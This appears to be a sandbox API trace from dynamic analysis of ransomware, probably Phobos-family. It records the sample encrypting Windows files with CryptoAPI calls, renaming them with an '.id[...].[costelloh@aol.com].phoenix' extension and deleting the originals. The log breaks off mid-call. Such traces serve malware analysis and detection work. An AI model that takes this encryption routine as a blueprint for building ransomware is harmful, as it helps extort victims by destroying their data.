	[0077.842] WriteFile (in: hFile=0x344, lpBuffer=0x37dd14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd14a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0077.846] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0077.846] WriteFile (in: hFile=0x344, lpBuffer=0x37dd14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd14a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0077.848] CloseHandle (hObject=0x344) returned 1
	[0078.477] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0078.477] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0078.477] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=23532) returned 1
	[0078.477] CloseHandle (hObject=0x344) returned 1
	[0078.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0078.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0078.478] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0078.478] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0078.478] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0078.478] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0078.478] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa5c8) returned 1
	[0078.478] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0078.478] ReadFile (in: hFile=0x344, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x5bec, lpOverlapped=0x0) returned 1
	[0079.634] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5bf0, dwBufLen=0x5bf0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5bf0) returned 1
	[0079.635] WriteFile (in: hFile=0x310, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x5bf0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x5bf0, lpOverlapped=0x0) returned 1
	[0079.636] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa508) returned 1
	[0079.636] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0079.636] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60, dwBufLen=0x60 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60) returned 1
	[0079.636] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0079.636] WriteFile (in: hFile=0x310, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x112, lpOverlapped=0x0) returned 1
	[0079.636] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0079.636] CloseHandle (hObject=0x344) returned 1
	[0079.636] CloseHandle (hObject=0x310) returned 1
	[0079.637] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml")) returned 1
	[0079.638] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0079.638] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0079.691] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=1965927) returned 1
	[0079.691] CloseHandle (hObject=0x310) returned 1
	[0079.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml")) returned 0x20
	[0079.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0079.692] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0079.693] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0079.693] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0079.693] ReadFile (in: hFile=0x310, lpBuffer=0x371d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x371d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0079.700] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x9ffcd, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0079.700] ReadFile (in: hFile=0x310, lpBuffer=0x375d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x375d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0080.004] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x19ff67, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0080.004] ReadFile (in: hFile=0x310, lpBuffer=0x379d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x379d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0080.073] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd3c | out: phKey=0x338fd3c*=0xbaa488) returned 1
	[0080.073] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0080.074] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0080) returned 1
	[0080.075] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0080.075] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd18 | out: lpNewFilePointer=0x0) returned 1
	[0080.075] WriteFile (in: hFile=0x310, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x338fd28, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd28*=0xc0132, lpOverlapped=0x0) returned 1
	[0080.098] SetEndOfFile (hFile=0x310) returned 1
	[0080.099] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x19ff67, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0080.099] WriteFile (in: hFile=0x310, lpBuffer=0x37dd16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd16a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0080.101] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x9ffcd, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0080.101] WriteFile (in: hFile=0x310, lpBuffer=0x37dd16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd16a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0080.103] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0080.103] WriteFile (in: hFile=0x310, lpBuffer=0x37dd16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd16a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0080.105] CloseHandle (hObject=0x310) returned 1
	[0083.916] SetEvent (hEvent=0x2e4) returned 1
	[0083.916] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0083.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0086.808] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=8260188) returned 1
	[0086.808] CloseHandle (hObject=0x310) returned 1
	[0086.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml")) returned 0x20
	[0086.808] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0086.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0086.811] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0086.811] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0086.811] ReadFile (in: hFile=0x310, lpBuffer=0x371d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x371d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0086.871] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x2a0374, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0086.871] ReadFile (hFile=0x310, lpBuffer=0x375d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0) 

Thread:
	id = 28
	os_tid = 0x8e8

	[0062.361] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x3830048
	[0062.362] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x3840050
	[0062.363] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x2728f40
	[0062.363] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x110102) returned 0x3a32020
	[0062.366] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x2728f70
	[0062.366] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf778, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf7e0 | out: phKey=0x34cf7e0*=0xbaad88) returned 1
	[0062.366] CryptSetKeyParam (hKey=0xbaad88, dwParam=0x1, pbData=0x34cf7c8, dwFlags=0x0) returned 1
	[0062.366] CryptDecrypt (in: hKey=0xbaad88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x34cf794 | out: pbData=0x2728f70, pdwDataLen=0x34cf794) returned 1
	[0062.366] CryptDestroyKey (hKey=0xbaad88) returned 1
	[0062.366] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0062.366] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0062.366] Wow64DisableWow64FsRedirection (in: OldValue=0x34cf82c | out: OldValue=0x34cf82c*=0x0) returned 1
	[0062.366] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0062.366] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0062.366] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0062.686] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=6004) returned 1
	[0062.686] CloseHandle (hObject=0x324) returned 1
	[0062.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20
	[0062.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.686] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0062.686] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0062.686] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0062.686] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0062.690] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa248) returned 1
	[0062.690] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0062.690] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x1774, lpOverlapped=0x0) returned 1
	[0062.719] CryptEncrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x1780, dwBufLen=0x1780 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x1780) returned 1
	[0062.721] WriteFile (in: hFile=0x32c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x1780, lpOverlapped=0x0) returned 1
	[0062.722] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa788) returned 1
	[0062.722] CryptSetKeyParam (hKey=0xbaa788, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0062.722] CryptEncrypt (in: hKey=0xbaa788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x70, dwBufLen=0x70 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x70) returned 1
	[0062.722] CryptDestroyKey (hKey=0xbaa788) returned 1
	[0062.722] WriteFile (in: hFile=0x32c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x122, lpOverlapped=0x0) returned 1
	[0062.722] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0062.722] CloseHandle (hObject=0x324) returned 1
	[0062.722] CloseHandle (hObject=0x32c) returned 1
	[0062.728] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1
	[0062.730] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0062.730] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0062.730] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=40) returned 1
	[0062.730] CloseHandle (hObject=0x32c) returned 1
	[0062.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20
	[0062.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.731] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0062.731] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0062.731] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0062.731] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0062.731] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa6c8) returned 1
	[0062.731] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0062.731] ReadFile (in: hFile=0x32c, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x28, lpOverlapped=0x0) returned 1
	[0063.044] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x30, dwBufLen=0x30 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x30) returned 1
	[0063.044] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x30, lpOverlapped=0x0) returned 1
	[0063.045] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa448) returned 1
	[0063.045] CryptSetKeyParam (hKey=0xbaa448, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.045] CryptEncrypt (in: hKey=0xbaa448, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
